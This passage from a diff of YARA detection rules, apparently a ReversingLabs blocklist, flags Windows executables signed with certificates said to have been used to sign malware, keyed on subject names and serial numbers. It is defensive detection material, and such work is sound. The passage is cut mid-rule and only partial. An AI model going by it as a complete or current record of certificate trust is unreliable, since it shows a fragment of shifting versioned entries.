condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DILA d.o.o." and pe.signatures [ i ] . serial == "02:b6:65:62:92:31:0b:84:02:2d:b5:54:1b:c4:8f:af" and 1613865600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Grina LLC" and pe.signatures [ i ] . serial == "77:09:d2:df:39:e9:a4:f7:db:2f:3c:bc:29:b4:97:43" and 1556353331 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_64C2505C7306639Fc8Eae544B0305338 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_E29690E14518874D2Dcf00234Ae94F1F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b0e4057f-a0e7-5e2e-a47f-dc8188b6b506" + id = "6b4f26d3-b943-5a2e-bfb9-0e290031926a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11254-L11270" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5250-L5268" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9b6fb002d603135391958668be0ef805e441928a035c9c4da4bb9915aa3086e8" + logic_hash = "ef84815798b213dc49a142e3076cc6dd680dccabe72643fc86234024a46468f9" score = 75 quality = 90 tags = "INFO, FILE" @@ -22181,21 +44575,21 @@ rule REVERSINGLABS_Cert_Blocklist_64C2505C7306639Fc8Eae544B0305338 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MANILA Solution as" and pe.signatures [ i ] . serial == "64:c2:50:5c:73:06:63:9f:c8:ea:e5:44:b0:30:53:38" and 1609418043 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "GRIND & TAMP ENTERPRISES PTY LTD" and ( pe.signatures [ i ] . serial == "00:e2:96:90:e1:45:18:87:4d:2d:cf:00:23:4a:e9:4f:1f" or pe.signatures [ i ] . serial == "e2:96:90:e1:45:18:87:4d:2d:cf:00:23:4a:e9:4f:1f" ) and 1570838400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2F96A89Bfec6E44Dd224E8Fd7E72D9Bb : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Cfac705C7E6845904F99995324F7562C : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "bdca8435-c1fd-598d-bd82-20a3a3b2a959" + id = "42aa3105-a077-5962-8d5d-50429254582b" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11272-L11288" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5270-L5288" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c0c8e5c0e2e120ee6b055e9a6b2af3d424bed0832c2619beab658fe01757f69f" + logic_hash = "68bcfe60c2e7154f427c20d0471ede99e55c8200149a4438d5a2a75982fcd419" score = 75 quality = 90 tags = "INFO, FILE" @@ -22205,21 +44599,21 @@ rule REVERSINGLABS_Cert_Blocklist_2F96A89Bfec6E44Dd224E8Fd7E72D9Bb : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "NAILS UNLIMITED LIMITED" and pe.signatures [ i ] . serial == "2f:96:a8:9b:fe:c6:e4:4d:d2:24:e8:fd:7e:72:d9:bb" and 1625529600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HMWOCFPSDLAFMFZIVD" and ( pe.signatures [ i ] . serial == "cf:ac:70:5c:7e:68:45:90:4f:99:99:53:24:f7:56:2c" or pe.signatures [ i ] . serial == "30:53:8f:a3:81:97:ba:6f:b0:66:66:ac:db:08:a9:d4" ) and 1601918720 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_B649A966410F62999C939384Af553919 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_A7989F8Be0C82D35A19E7B3Dd4Be30E5 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "03533c22-eb16-546c-af55-675af9c833ce" + id = "21d54d40-442e-50f5-a561-41b3d6239bac" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11290-L11308" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5290-L5308" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "623a2f931198eacf44fd233065e96a4dcadb5b3bbc7ca56df2b6ae9eafc4faa5" + logic_hash = "a50129908a471e6692bcf663abd5ef52861d4a46fdf528f39efe816ee6150edf" score = 75 quality = 90 tags = "INFO, FILE" @@ -22229,21 +44623,21 @@ rule REVERSINGLABS_Cert_Blocklist_B649A966410F62999C939384Af553919 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "F.A.T. SARL" and ( pe.signatures [ i ] . serial == "00:b6:49:a9:66:41:0f:62:99:9c:93:93:84:af:55:39:19" or pe.signatures [ i ] . serial == "b6:49:a9:66:41:0f:62:99:9c:93:93:84:af:55:39:19" ) and 1590537600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Instamix Limited" and ( pe.signatures [ i ] . serial == "00:a7:98:9f:8b:e0:c8:2d:35:a1:9e:7b:3d:d4:be:30:e5" or pe.signatures [ i ] . serial == "a7:98:9f:8b:e0:c8:2d:35:a1:9e:7b:3d:d4:be:30:e5" ) and 1598054400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_45245Eef53Fcf38169C715Cf68F44452 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0Fa13Ae98E17Ae23Fcfe7Ae873D0C120 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "514eac5a-9264-58ef-b4ee-65ec24b43e5a" + id = "87a47456-4d90-5a7d-af9d-7a6d5fb8efac" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11310-L11326" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5310-L5326" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7e0c3147e657802e457f6df271b7f5a64c81fd13f936a8935aa991022e4ab238" + logic_hash = "415f39f82b6a45acd196ccf246ec660806a8d66c61df8c7d2850e5b244118d04" score = 75 quality = 90 tags = "INFO, FILE" @@ -22253,21 +44647,21 @@ rule REVERSINGLABS_Cert_Blocklist_45245Eef53Fcf38169C715Cf68F44452 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PAPER AND CORE SUPPLIES LTD" and pe.signatures [ i ] . serial == "45:24:5e:ef:53:fc:f3:81:69:c7:15:cf:68:f4:44:52" and 1639958400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "KLAKSON, LLC" and pe.signatures [ i ] . serial == "0f:a1:3a:e9:8e:17:ae:23:fc:fe:7a:e8:73:d0:c1:20" and 1597276801 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_1895433Ee9E2Bd48619D75132262616F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_3696883055975D571199C6B5D48F3Cd5 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d7bf59df-708c-5260-bc98-1a86b2c9c988" + id = "f68338f9-8614-5793-981d-70547dbc65ce" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11328-L11344" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5328-L5344" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f00a29ff5dddae40225ab62cb2d4b9dec1539ad58c8cd27d686480eecdb3e31d" + logic_hash = "d6f77b9ca928167341a35b83e353886d4db8dfcecf45cde0f0f93d65059b5200" score = 75 quality = 90 tags = "INFO, FILE" @@ -22277,21 +44671,21 @@ rule REVERSINGLABS_Cert_Blocklist_1895433Ee9E2Bd48619D75132262616F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Evetrans Ltd" and pe.signatures [ i ] . serial == "18:95:43:3e:e9:e2:bd:48:61:9d:75:13:22:62:61:6f" and 1619789516 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Korist Networks Incorporated" and pe.signatures [ i ] . serial == "36:96:88:30:55:97:5d:57:11:99:c6:b5:d4:8f:3c:d5" and 1600069289 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_1Ffc9825644Caf5B1F521780C5C7F42C : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Ee678930D5Bdfaa2Ab0172Fa4C10Ae07 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "3d806d90-e029-5521-b191-6967e2691c0f" + id = "e2c2c34a-6177-5457-9ed9-fa34f82ee4cd" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11346-L11362" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5346-L5364" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1a9263c809f5633d01d4d4d0091c8dc214bad73af0eff3c9a94b33bca513f26d" + logic_hash = "f1e254450fdbe94172a4fa2d2727c3ade5ae436cf4c0c1153a15e9a2f64f2452" score = 75 quality = 90 tags = "INFO, FILE" @@ -22301,21 +44695,21 @@ rule REVERSINGLABS_Cert_Blocklist_1Ffc9825644Caf5B1F521780C5C7F42C : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ACTIVUS LIMITED" and pe.signatures [ i ] . serial == "1f:fc:98:25:64:4c:af:5b:1f:52:17:80:c5:c7:f4:2c" and 1615507200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LEX CORPORATION PTY LTD" and ( pe.signatures [ i ] . serial == "00:ee:67:89:30:d5:bd:fa:a2:ab:01:72:fa:4c:10:ae:07" or pe.signatures [ i ] . serial == "ee:67:89:30:d5:bd:fa:a2:ab:01:72:fa:4c:10:ae:07" ) and 1571011200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_8D52Fb12A2511E86Bbb0Ba75C517Eab0 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_D7C432E8D4Edef515Bfb9D1C214Ff0F5 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "1bc9d36c-381e-5359-bba4-8dd870ed9267" + id = "5aed508e-2da1-52a0-98f3-52e903e95b7d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11364-L11382" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5366-L5384" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "023830ab3d71ed8ecf8f0e271c56dc267dcd000f5ff156c70d31089cd7010da8" + logic_hash = "63741513f3ab2f51ecd66dc973239c9dc194b86504fe26b2dd4a7f31299e5497" score = 75 quality = 90 tags = "INFO, FILE" @@ -22325,21 +44719,21 @@ rule REVERSINGLABS_Cert_Blocklist_8D52Fb12A2511E86Bbb0Ba75C517Eab0 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VThink Software Consulting Inc." and ( pe.signatures [ i ] . serial == "00:8d:52:fb:12:a2:51:1e:86:bb:b0:ba:75:c5:17:ea:b0" or pe.signatures [ i ] . serial == "8d:52:fb:12:a2:51:1e:86:bb:b0:ba:75:c5:17:ea:b0" ) and 1599177600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LLC \"MILKY PUT\"" and ( pe.signatures [ i ] . serial == "00:d7:c4:32:e8:d4:ed:ef:51:5b:fb:9d:1c:21:4f:f0:f5" or pe.signatures [ i ] . serial == "d7:c4:32:e8:d4:ed:ef:51:5b:fb:9d:1c:21:4f:f0:f5" ) and 1601596800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_332Bd5801E8415585E72C87E0E2Ec71D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_5B440A47E8Ce3Dd202271E5C7A666C78 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d251afda-7582-5a00-a100-fd3acff2f995" + id = "6f9852cb-277d-5942-b3f7-525593a41027" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11384-L11400" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5386-L5402" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3648c3a8dbcdbd24746b9fa8cb3071d5f5019e5917848d88437158c6cb165445" + logic_hash = "eb4387d58e391c356ed774d8c13bb4bbb2befed585bb44674459d3ef519aec58" score = 75 quality = 90 tags = "INFO, FILE" @@ -22349,21 +44743,21 @@ rule REVERSINGLABS_Cert_Blocklist_332Bd5801E8415585E72C87E0E2Ec71D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Elite Marketing Strategies, Inc." and pe.signatures [ i ] . serial == "33:2b:d5:80:1e:84:15:58:5e:72:c8:7e:0e:2e:c7:1d" and 1662616824 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Master Networking s.r.o." and pe.signatures [ i ] . serial == "5b:44:0a:47:e8:ce:3d:d2:02:27:1e:5c:7a:66:6c:78" and 1601895571 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_E3B80C0932B52A708477939B0D32186F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_B82C6553B2186C219797621Aaa233Edb : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e7cdf040-3fe2-55ed-8f66-702fb4455653" + id = "e1dd9783-078f-582e-8493-7c493cda9c62" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11402-L11420" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5404-L5422" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "acdfce4dc25cbc9e9817453d5cf56c7d319bebdf7a039ea47412ec3b2f68cb02" + logic_hash = "72e3e1740a4adc4315d2dd9c9f7b8cee2d89c3006014dec663b70d3419f43ca3" score = 75 quality = 90 tags = "INFO, FILE" @@ -22373,21 +44767,21 @@ rule REVERSINGLABS_Cert_Blocklist_E3B80C0932B52A708477939B0D32186F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BISOYETUTU LTD LIMITED" and ( pe.signatures [ i ] . serial == "00:e3:b8:0c:09:32:b5:2a:70:84:77:93:9b:0d:32:18:6f" or pe.signatures [ i ] . serial == "e3:b8:0c:09:32:b5:2a:70:84:77:93:9b:0d:32:18:6f" ) and 1617062400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MC Commerce SP Z o o" and ( pe.signatures [ i ] . serial == "00:b8:2c:65:53:b2:18:6c:21:97:97:62:1a:aa:23:3e:db" or pe.signatures [ i ] . serial == "b8:2c:65:53:b2:18:6c:21:97:97:62:1a:aa:23:3e:db" ) and 1585785600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_C79F817F082986Bef3209F6723C8Da97 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_F360F7Ad0Ed065Fec0B44F98E04481A0 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b3978831-57d6-5f25-a271-fa4f449d37b3" + id = "96219c86-f463-5f11-950d-ca2af75d5559" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11422-L11440" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5424-L5442" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a5960f4c2ed768ccc5779d3754f51463c7b14a3a887c690944add23fba464f1a" + logic_hash = "2a25f1121f492dec461e570ff56acb0e3957cdf9100002f2ff0b6c3d3b35fee5" score = 75 quality = 90 tags = "INFO, FILE" @@ -22397,21 +44791,21 @@ rule REVERSINGLABS_Cert_Blocklist_C79F817F082986Bef3209F6723C8Da97 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Al-Faris group d.o.o." and ( pe.signatures [ i ] . serial == "00:c7:9f:81:7f:08:29:86:be:f3:20:9f:67:23:c8:da:97" or pe.signatures [ i ] . serial == "c7:9f:81:7f:08:29:86:be:f3:20:9f:67:23:c8:da:97" ) and 1616371200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MEHANIKUM OOO" and ( pe.signatures [ i ] . serial == "00:f3:60:f7:ad:0e:d0:65:fe:c0:b4:4f:98:e0:44:81:a0" or pe.signatures [ i ] . serial == "f3:60:f7:ad:0e:d0:65:fe:c0:b4:4f:98:e0:44:81:a0" ) and 1599031121 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_1E5Efa53A14599Cc82F56F0790E20B17 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Fe41941464B9992A69B7317418Ae8Eb7 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f87dac0c-4b46-5b30-a715-f21e7c3a98e0" + id = "dd84a6b2-e616-5f93-af50-1a4fc15f3c45" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11442-L11458" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5444-L5462" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "78cbfeb5d7b58029a5b4107f2a59e892ff9d71788cf74e88ac823cb85ba35a94" + logic_hash = "bd5131f2b44deec6a7a68577b80ef4d066c331da2976539ce52ac6cff8d5560e" score = 75 quality = 90 tags = "INFO, FILE" @@ -22421,21 +44815,21 @@ rule REVERSINGLABS_Cert_Blocklist_1E5Efa53A14599Cc82F56F0790E20B17 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Storeks LLC" and pe.signatures [ i ] . serial == "1e:5e:fa:53:a1:45:99:cc:82:f5:6f:07:90:e2:0b:17" and 1623196800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Milsean Software Limited" and ( pe.signatures [ i ] . serial == "00:fe:41:94:14:64:b9:99:2a:69:b7:31:74:18:ae:8e:b7" or pe.signatures [ i ] . serial == "fe:41:94:14:64:b9:99:2a:69:b7:31:74:18:ae:8e:b7" ) and 1599523200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0Cf2D0B5Bfdd68Cf777A0C12F806A569 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0C14B611A44A1Bae0E8C7581651845B6 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2900c6ae-9e61-5bad-a7b4-b8eca925a1ea" + id = "116beeac-49c6-56b0-a1c0-855623f604d9" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11460-L11476" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5464-L5480" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4d8fd52cd12f9512c0b148f9915860152f108884d29617a5fbfd62500d3a14c4" + logic_hash = "7f6028181e33e4ba8264ee367169e7259e19ff49dcae9a337a4ba78c06b459e6" score = 75 quality = 90 tags = "INFO, FILE" @@ -22445,21 +44839,21 @@ rule REVERSINGLABS_Cert_Blocklist_0Cf2D0B5Bfdd68Cf777A0C12F806A569 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PROTIP d.o.o. - v ste\\xC4\\x8Daju" and pe.signatures [ i ] . serial == "0c:f2:d0:b5:bf:dd:68:cf:77:7a:0c:12:f8:06:a5:69" and 1611705600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "NEEDCODE SP Z O O" and pe.signatures [ i ] . serial == "0c:14:b6:11:a4:4a:1b:ae:0e:8c:75:81:65:18:45:b6" and 1600300801 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_F675139Ea68B897A865A98F8E4611F00 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_690910Dc89D7857C3500Fb74Bed2B08D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "3bac20a3-1415-53af-9d04-a30aa7488dd7" + id = "7c427b1a-fbe9-5e97-9810-87863c70988d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11478-L11496" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5482-L5498" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2306e90d376f5de8a4eb6d4a696bc1781686d7094cb0a2db48019ee93c1bf60a" + logic_hash = "3c5da6238279296854eb95ecaed802f453e80c6bceb71c3fa587df0f7d40cf96" score = 75 quality = 90 tags = "INFO, FILE" @@ -22469,21 +44863,21 @@ rule REVERSINGLABS_Cert_Blocklist_F675139Ea68B897A865A98F8E4611F00 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BS TEHNIK d.o.o." and ( pe.signatures [ i ] . serial == "00:f6:75:13:9e:a6:8b:89:7a:86:5a:98:f8:e4:61:1f:00" or pe.signatures [ i ] . serial == "f6:75:13:9e:a6:8b:89:7a:86:5a:98:f8:e4:61:1f:00" ) and 1606953600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OLIMP STROI, OOO" and pe.signatures [ i ] . serial == "69:09:10:dc:89:d7:85:7c:35:00:fb:74:be:d2:b0:8d" and 1597276800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_4728189Fa0F57793484Cdf764F5E283D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Fd41E6Bd7428D3008C8A05F68C9Ac6F2 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "fd1b83aa-bfcc-590c-8f97-875badf09698" + id = "ef59a76a-3b59-55a2-9da5-c3ba844bbe77" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11498-L11514" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5500-L5518" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9ec7e84c77583bd52ccfb8d6d5831f3634ed0a401d8103376c4775b7f2c43d81" + logic_hash = "e387664dc9aa746e127b4efb2ef43675f8fb6df66e99d33ef765e8fa306a4f18" score = 75 quality = 90 tags = "INFO, FILE" @@ -22493,21 +44887,21 @@ rule REVERSINGLABS_Cert_Blocklist_4728189Fa0F57793484Cdf764F5E283D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Power Save Systems s.r.o." and pe.signatures [ i ] . serial == 